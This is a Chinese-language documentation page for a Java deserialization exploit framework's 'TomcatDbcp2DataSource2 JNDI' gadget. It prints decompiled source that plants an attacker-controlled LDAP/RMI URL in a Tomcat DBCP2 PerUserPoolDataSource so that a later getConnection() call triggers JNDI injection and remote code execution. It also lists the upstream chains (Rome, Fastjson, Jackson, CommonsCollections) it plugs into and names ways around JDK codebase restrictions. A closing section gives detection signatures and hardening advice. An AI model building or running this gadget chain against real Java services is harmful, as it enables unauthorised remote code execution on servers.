Skip to content

Latest commit

 

History

History
109 lines (83 loc) · 8.8 KB

File metadata and controls

109 lines (83 loc) · 8.8 KB

TomcatDbcp2DataSource2 JNDI(TomcatDbcp2DataSource2)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖org.apache.tomcat:tomcat-dbcp >= 8
  • 实现Gadget(无基类,extends = null

作用

构造一个 Tomcat 内嵌 DBCP2 的 org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource,并把要查找的 JNDI 名称写入它的 dataSourceName 字段。当上游 gadget 触发该对象的 getConnection() 时,DBCP2 内部会以 dataSourceName 为名做一次 JNDI lookup,从而把「调用一个 getter / 特殊 public 方法」转化为JNDI 注入(LDAP/RMI),最终达成 RCE。属于典型的 DataSource → JNDI 链尾 sink。

链接标签

该 gadget 只有入口 tagsnextTags 为空,是链条的最内层(END)。

  • 入口 tags
    • DataSourceChains —— 声明自身是「DataSource 类利用链」的一环,供上游按此标签选择衔接。
    • SpecialPublicMethod —— 表示可由「调用任意 public 方法」的上游触发(上游只需能调用无参 public 方法 getConnection() 即可,不必是标准 JavaBean getter)。
    • Getter —— 也可由「调用 getter」的上游触发:getConnection() 恰好符合 JavaBean 属性 connection 的 getter 命名规范。
    • END —— 链尾标记,本 gadget 自身产出最终对象,不再有更内层。
  • 衔接 nextTags:(无)——链尾,不再向内包装其它 gadget。
  • excludes:(无)。

说明:tags 在此充当「本 gadget 可被哪些上游承接」的入口声明。凡 nextTagsDataSourceChains(如 Rome 家族、Fastjson/Jackson getter 家族、DWrap)或含 SpecialPublicMethod(如 CommonsCollectionsK1/K2)的 gadget,均可把本 sink 接在其后。

源码剖析

完整反编译源码(CFR,Could not load ... PerUserPoolDataSource 属正常,缺失第三方 tomcat-dbcp 依赖,不影响逻辑):

@GadgetTags(tags={"DataSourceChains", "SpecialPublicMethod", "Getter", "END"})
@GadgetAnnotation(name="TomcatDbcp2DataSource2 JNDI", description="...PerUserPoolDataSource", dependencies={"org.apache.tomcat:tomcat-dbcp >= 8"})
public class TomcatDbcp2DataSource2 implements Gadget {
    private final String getterMethodName = "getConnection";
    private final String getterPropertyName = "connection";
    @Param(name="Jndi地址")
    public String jndiUrl = "ldap://127.0.0.1:1389/x";

    public Object getObject() {
        PerUserPoolDataSource dataSource = new PerUserPoolDataSource();
        dataSource.setDataSourceName(this.jndiUrl);
        return dataSource;
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class);
        context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");
        context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection");
        return this.getObject();
    }
}

逐段解释:

  • getObject()new PerUserPoolDataSource() 后立刻 setDataSourceName(this.jndiUrl)PerUserPoolDataSource 继承自 InstanceKeyDataSourcedataSourceName 是它用来从 JNDI 环境中定位「底层 CPDS(ConnectionPoolDataSource)」的名字。此处被恶意填成攻击者可控的 JNDI URL(默认 ldap://127.0.0.1:1389/x)。注意:本方法不主动触发 lookup,只是把 payload 装配好后作为序列化产物返回。
  • 触发点在 getter 被调用时InstanceKeyDataSource#getConnection()(无参)会走到 getPooledConnectionAndInfo(...),其中通过 testCPDS(...) / InstanceKeyDataSourceFactoryjndiEnvironment 建立 InitialContext 并对 dataSourceName 执行 lookup。由于 dataSourceNameldap://.../rmi://... 远程地址,lookup 即发起远程 JNDI 请求,命中 JNDI 注入(可加载远程 Reference/字节码),达成 RCE。因此本 gadget 只需上游「调用一次 getConnection()」即被引爆。
  • invoke(context, chain):本 gadget 是链尾,没有 chain.doCreate(context)(无更内层对象),而是往 GadgetContext 写入三条元信息,供上游 gadget 决定「调什么」:
    • SUPER_CLASS_NAME_KEY = DataSource.class:告知上游本对象可安全向上转型为 javax.sql.DataSource(上游若需按接口类型持有/代理时使用)。
    • SPECIAL_METHOD_NAME_KEY = "getConnection":告知走 SpecialPublicMethod 路径的上游要调用的方法名。
    • GETTER_PARAM_NAME_KEY = "connection":告知走 Getter 路径的上游要读取的属性名(connectiongetConnection)。 这套 context 注入正是「可插拔 getter」机制:上游(如 CB1、Rome、Fastjson getter)不写死方法名,而是从 context 读取本 sink 声明的方法/属性名后再反射调用。字段 getterMethodName/getterPropertyName 与上述常量一致,仅作类内自描述。

参数(@Param)

字段 名称 说明 默认 可选值
jndiUrl Jndi地址 setDataSourceName 写入、getConnection() 时 JNDI lookup 的目标地址,指向攻击者控制的 LDAP/RMI 服务 ldap://127.0.0.1:1389/x 任意 JNDI URL(ldap:// / rmi:// / ldaps:// …)

适用版本与原理要点

  • 依赖org.apache.tomcat:tomcat-dbcp >= 8。Tomcat 8 起把 Apache Commons DBCP 重打包org.apache.tomcat.dbcp.dbcp2.*(DBCP2)。因此本类使用的是 org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource
  • 与同族区别
    • 本类(TomcatDbcp2DataSource2)用 PerUserPoolDataSourceTomcatDbcp2DataSource 用同包的 SharedPoolDataSource——二者原理相同,仅底层 InstanceKeyDataSource 子类不同,作为绕过/兼容备选。
    • TomcatDbcpDataSource / TomcatDbcpDataSource2 面向 org.apache.commons.dbcp.datasources.*(DBCP1,Tomcat < 8),依赖 org.apache.tomcat:tomcat-dbcp < 8
  • JNDI 注入前置条件:目标 JDK 需允许从远程加载 JNDI Reference。高版本 JDK(8u191+/11.0.1+ 起 com.sun.jndi.ldap.object.trustURLCodebase=false 默认关闭远程 codebase)下需改用本地 factory / 反序列化型 JNDI payload(如 BeanFactory + EL、本地 Tomcat gadget 等)而非直接远程类加载。
  • 触发方式:这是基于方法调用(getter/特殊方法)的 sink,而非字节码 sink;它不经 TemplatesImpl/BytecodeConvert,因此不受「JDK < 17 才能加载 TemplatesImpl 字节码」的限制,只依赖 JNDI 可达性。
  • 纯 JDK 触发面:本对象只要在反序列化后被读一次 connection 属性或被调一次 getConnection() 即可,适配面广。

所属预设链

usedInChains 为空——自由构件,未直接出现在 51 条预设链中。作为 DataSourceChains/SpecialPublicMethod/Getter 入口的通用 JNDI 链尾,可按标签与上游自由组合。

关联

  • 上游(其 nextTagsDataSourceChains,通过 getter/特殊方法调用本 sink)
    • Rome 家族:Rome1、Rome2、Rome3、Rome4、RomeEqualsBean1/2、RomeToStringBean1/2
    • JSON getter 家族:Fastjson、Fastjson2、FastjsonToString1/2、Jackson、JacksonToString
    • DataSource 包装:DWrap
  • 上游(其 nextTagsSpecialPublicMethod:CommonsCollectionsK1、CommonsCollectionsK2
  • 同族 DataSource JNDI sinkTomcatDbcp2DataSourceSharedPoolDataSource)、TomcatDbcpDataSourceTomcatDbcpDataSource2(DBCP1)

防御与检测

  • 检测特征
    • 序列化流/内存中出现 org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource(或 SharedPoolDataSource)实例,且其 dataSourceNameldap:///rmi:// 等远程 URL——正常应用几乎不会把 JNDI 名设成外网地址。
    • 运行期由 DBCP2 InstanceKeyDataSource/InstanceKeyDataSourceFactory 发起的 InitialContext.lookup 指向外部主机,伴随对外 LDAP/RMI 连接。
    • 反序列化调用栈中出现 getConnection → JNDI lookup 序列。
  • 加固建议
    • 反序列化入口启用类白名单(如 ObjectInputFilter/JEP 290),拒绝 org.apache.tomcat.dbcp.*.datasources.* 等 DataSource 实现出现在不可信数据流中。
    • 保持 JDK 为高版本并确认 com.sun.jndi.ldap.object.trustURLCodebase / com.sun.jndi.rmi.object.trustURLCodebasefalse,阻断远程 codebase 类加载。
    • 出口侧限制应用服务器对外发起 LDAP/RMI/DNS 连接,切断 JNDI 注入回连。
    • 审计禁止把外部可控数据写入任何 DataSourcedataSourceName/JNDI 名称。

参考

  • 反编译源码:
  • 机器可读元数据:index/gadgets.json